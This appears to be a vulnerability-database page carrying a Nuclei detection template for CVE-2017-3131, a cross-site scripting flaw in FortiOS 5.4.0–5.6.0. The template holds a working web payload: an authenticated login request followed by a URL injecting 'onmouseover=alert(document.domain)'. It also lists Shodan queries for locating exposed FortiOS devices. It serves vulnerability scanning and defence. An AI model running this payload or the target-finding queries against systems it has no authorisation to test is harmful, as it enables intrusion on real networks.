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FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting

🗓️ 22 Jun 2026 05:20:07Reported by ProjectDiscoveryType 
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FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting vulnerability in FortiVie

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id: CVE-2017-3131

info:
  name: FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.4.0 through 5.4.4 and 5.6.0 allows attackers to execute unauthorized code or commands via the filter input in "Applications" under FortiView.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3131
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-3131
    cwe-id: CWE-79
    epss-score: 0.07681
    epss-percentile: 0.93817
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /logincheck HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        ajax=1&username={{username}}&secretkey={{password}}

      - |
        GET /ng/fortiview/app/15832%22%20onmouseover=alert(document.domain)%20x=%22y HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'id_15832" onmouseover="alert(document.domain)"'

      - type: word
        part: content_type_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ead7b5e1dd4c2a8de21467f3be872f0ce4053d130c870d88c32db267b4503eec02202a615502c6de740660676ba07e9eaf2ef65b9b43f277cf002954a157a11eb452:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 23.5
CVSS 35.4
EPSS0.07681
SSVC
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